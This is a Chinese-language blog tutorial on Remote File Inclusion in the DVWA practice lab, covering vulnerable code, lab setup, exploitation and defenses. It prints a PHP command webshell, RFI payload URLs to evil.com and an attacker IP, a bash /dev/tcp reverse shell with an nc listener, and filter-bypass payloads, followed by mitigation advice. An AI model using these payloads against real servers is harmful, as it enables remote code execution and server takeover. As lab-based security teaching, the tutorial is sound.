远程文件包含(RFI)漏洞详解:基于 DVWA 的原理与利用

远程文件包含(RFI)漏洞详解:基于 DVWA 的原理与利用

一、前言

远程文件包含(RFI,Remote File Inclusion) 是一种高危的 Web 安全漏洞,允许攻击者通过控制动态包含的文件路径,加载远程服务器上的恶意脚本,从而实现远程代码执行(RCE)或部署后门。本文基于 DVWA(Damn Vulnerable Web Application) 靶场的 RFI 模块,详细剖析 RFI 漏洞的原理、代码结构、利用方式及防护措施,旨在帮助安全从业者和开发者深入理解 RFI 漏洞的成因与防范方法。

学习目标

  • 掌握 RFI 漏洞的触发原理和代码缺陷
  • 学会利用 DVWA 复现 RFI 攻击
  • 理解 RFI 的常见利用场景及危害
  • 掌握防御 RFI 漏洞的最佳实践

免责声明:本文内容仅限合法授权的渗透测试和安全研究,严禁用于非法攻击!


二、RFI 漏洞原理

1. RFI 漏洞定义

RFI 漏洞是指 Web 应用在动态包含文件(如 PHP 的 includerequire)时,允许用户通过参数指定远程文件 URL,且未对输入进行严格过滤,导致攻击者可加载恶意远程脚本。

典型代码

1
2
3
4
<?php
$file = $_GET['page'];
include($file);
?>

攻击示例

1
http://target.com/index.php?page=http://evil.com/shell.txt
  • 攻击者通过 page 参数指定远程恶意脚本,服务器将其加载并执行。

2. 危害

  • 远程代码执行(RCE):执行远程脚本中的任意命令。
  • 后门部署:植入 WebShell,获取持久控制。
  • 信息泄露:读取服务器敏感文件(如 /etc/passwd)。
  • 服务器接管:结合反弹 Shell 完全控制服务器。

3. DVWA 代码分析

以下是 DVWA RFI 模块的简化代码(vulnerabilities/fi/source/index.php):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
switch ($_COOKIE['security']) {
case 'low':
$vulnerabilityFile = 'low.php';
break;
case 'medium':
$vulnerabilityFile = 'medium.php';
break;
case 'high':
$vulnerabilityFile = 'high.php';
break;
default:
$vulnerabilityFile = 'impossible.php';
break;
}

require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/fi/source/{$vulnerabilityFile}";

// 实际包含用户输入文件
if (isset($file)) {
include($file);
} else {
header("Location: ?page=include.php");
exit;
}

// 输出页面
dvwaHtmlEcho($page);
?>

代码问题

  • 变量 $file
    • 未明确定义来源,可能来自 $_GET['page'] 或其他用户输入。
    • 直接用于 include($file),允许攻击者控制包含路径。
  • 缺乏校验
    • 未限制 $file 是否为本地文件,允许远程 URL(如 http://evil.com/shell.txt)。
    • 未对路径进行过滤,可能导致目录穿越或 RFI。
  • 安全等级
    • low.php:无任何过滤,直接包含用户输入。
    • medium.php:可能限制部分路径(如 ../),但仍可通过远程 URL 绕过。
    • high.php:加强过滤,可能禁用远程包含。
    • impossible.php:使用白名单机制,较为安全。

三、靶场环境搭建

1. 环境信息

  • 操作系统:Kali Linux(虚拟机,推荐 4GB 内存,2 核 CPU)
  • 靶场:DVWA
  • 工具
    • Burp Suite(抓包与请求修改)
    • 蚁剑(WebShell 管理,结合 RFI)
    • Firefox(测试请求)
    • Python(搭建远程恶意脚本服务器)
  • 靶站地址http://localhost/dvwa

2. DVWA 安装

  1. 下载 DVWA
    1
    2
    git clone https://github.com/digininja/DVWA.git
    cd DVWA
  2. 配置环境
    • 复制到 Web 根目录:
      1
      sudo cp -r DVWA /var/www/html/dvwa
    • 配置 Nginx 或 Apache,以及 PHP 和 MySQL。
  3. 修改配置文件
    • 编辑 config/config.inc.php
      1
      2
      3
      4
      $_DVWA['db_server'] = 'localhost';
      $_DVWA['db_database'] = 'dvwa';
      $_DVWA['db_user'] = 'root';
      $_DVWA['db_password'] = 'your_password';
  4. 启动服务
    1
    2
    sudo service apache2 start
    sudo service mysql start
  5. 访问靶场
    • 访问 http://localhost/dvwa,完成安装。
    • 默认用户:admin / password.
    • 设置安全等级:Low(便于测试 RFI)。

3. 准备远程恶意脚本

  1. 创建恶意文件
    • 在攻击者控制的服务器(如 Kali)上创建 shell.txt
      1
      echo "<?php system(\$_GET['cmd']); ?>" > shell.txt
  2. 托管文件
    • shell.txt 放入 Web 目录(如 /var/www/html/):
      1
      sudo cp shell.txt /var/www/html/
    • 启动 HTTP 服务:
      1
      sudo python3 -m http.server 80
    • 确认文件可访问:
      1
      http://<你的IP>/shell.txt

四、RFI 漏洞利用步骤

1. 构造远程恶意脚本

  • 文件内容shell.txt):
    1
    <?php system($_GET['cmd']); ?>
  • 托管地址
    1
    http://<你的IP>/shell.txt
  • 说明:脚本接收 cmd 参数,执行系统命令。

2. 构造 RFI 请求

  1. 访问漏洞页面
    • 假设 DVWA 的 File Inclusion 模块为:
      1
      http://localhost/dvwa/vulnerabilities/fi/?page=include.php
  2. 注入远程 URL
    • 构造 Payload:
      1
      http://localhost/dvwa/vulnerabilities/fi/?page=http://<你的IP>/shell.txt&cmd=whoami
  3. 发送请求
    • 使用 Firefox 或 Burp Suite 访问。
  4. 结果
    • 页面返回命令执行结果,如:
      1
      www-data

连接蚁剑

  • 配置
    • URLhttp://localhost/dvwa/vulnerabilities/fi/?page=http://<你的IP>/shell.txt
    • 密码cmd
    • 类型:PHP
  • 功能
    • 命令执行(如 id, whoami
    • 文件管理
    • 反弹 Shell

3. 反弹 Shell(进阶)

  1. 准备监听
    • 在 Kali 上启动 Netcat:
      1
      nc -lvnp 4444
  2. 执行反弹 Shell
    • 访问:
      1
      http://localhost/dvwa/vulnerabilities/fi/?page=http://<你的IP>/shell.txt&cmd=bash%20-i%20%3E%26%20/dev/tcp/<你的IP>/4444%200%3E%261
  3. 结果
    • Netcat 接收到 Shell,获得服务器控制权。

五、常见利用场景

攻击目标 举例
网站后门部署 加载远程 WebShell,实现持久化控制
远程命令执行 执行 system('whoami') 等命令
信息泄露 包含 /etc/passwd 或配置文件
服务器接管 反弹 Shell 或上传本地恶意文件

六、绕过技巧

1. 编码绕过

  • URL 编码
    1
    http://localhost/dvwa/vulnerabilities/fi/?page=http%3A%2F%2Fevil.com%2Fshell.txt
  • 双重编码
    1
    http://localhost/dvwa/vulnerabilities/fi/?page=http%253A%252F%252Fevil.com%252Fshell.txt

2. 伪装文件后缀

  • 使用 .txt.jpg 伪装 PHP 代码:
    1
    http://evil.com/shell.txt
    内容为:
    1
    <?php system($_GET['cmd']); ?>

3. 协议绕过

  • 使用 php://filter 结合远程包含:
    1
    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=http://evil.com/shell.txt

七、防御建议

1. 白名单限制

  • 示例代码
    1
    2
    3
    4
    5
    6
    7
    $whitelist = ['low.php', 'medium.php', 'high.php'];
    $vulnerabilityFile = $_GET['page'] ?? 'low.php';
    if (in_array($vulnerabilityFile, $whitelist)) {
    require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/fi/source/{$vulnerabilityFile}";
    } else {
    die("非法文件!");
    }

2. 禁用远程包含

  • PHP 配置
    1
    2
    allow_url_include = Off
    allow_url_fopen = Off
  • 说明:禁用 includerequire 的远程文件加载功能。

3. 使用常量路径

  • 示例代码
    1
    2
    $file = basename($_GET['page']);
    require_once "/var/www/html/includes/" . $file;
  • 说明:使用 basename 移除路径穿越符号(如 ../)。

4. 输入过滤

  • 正则验证
    1
    2
    3
    4
    5
    if (preg_match('/^[a-zA-Z0-9_]+\.php$/', $_GET['page'])) {
    include($_GET['page']);
    } else {
    die("非法路径!");
    }

5. 服务器安全

  • Nginx 配置
    1
    2
    3
    4
    5
    location ~ \.php$ {
    fastcgi_pass 127.0.0.1:9000;
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
    }
  • 限制上传目录
    1
    2
    3
    4
    5
    location /Uploads/ {
    location ~ \.php$ {
    deny all;
    }
    }

6. WAF 部署

  • 拦截异常 URL(如 http://php://)。
  • 检测可疑参数(如 Base64 编码的 Payload)。

7. 日志监控

  • 监控 Web 服务器日志,关注异常文件包含请求。
  • 定期扫描服务器,检测可疑文件。

八、总结

项目 信息
漏洞类型 远程文件包含(RFI)
靶场 DVWA
利用方式 加载远程恶意脚本、执行命令
危害 RCE、后门部署、服务器完全控制
修复核心 白名单校验、禁用远程包含、路径限制

RFI 漏洞因其直接加载远程脚本的能力,危害远超 LFI。DVWA 的 RFI 模块通过动态包含用户输入的文件,展示了漏洞的典型触发方式。攻击者可通过托管恶意脚本并构造 URL 实现 RCE。开发者应采用白名单机制、禁用远程包含、严格路径校验,并部署 WAF 和日志监控,构建多层次防御体系。

免责声明:本文内容仅供合法授权的渗透测试和安全研究,严禁用于非法用途!


远程文件包含(RFI)漏洞详解:基于 DVWA 的原理与利用
https://bae-ace.github.io/2025/08/08/远程文件包含(RFI)漏洞详解:基于-DVWA-的原理与利用/
作者
bae
发布于
2025年8月8日
许可协议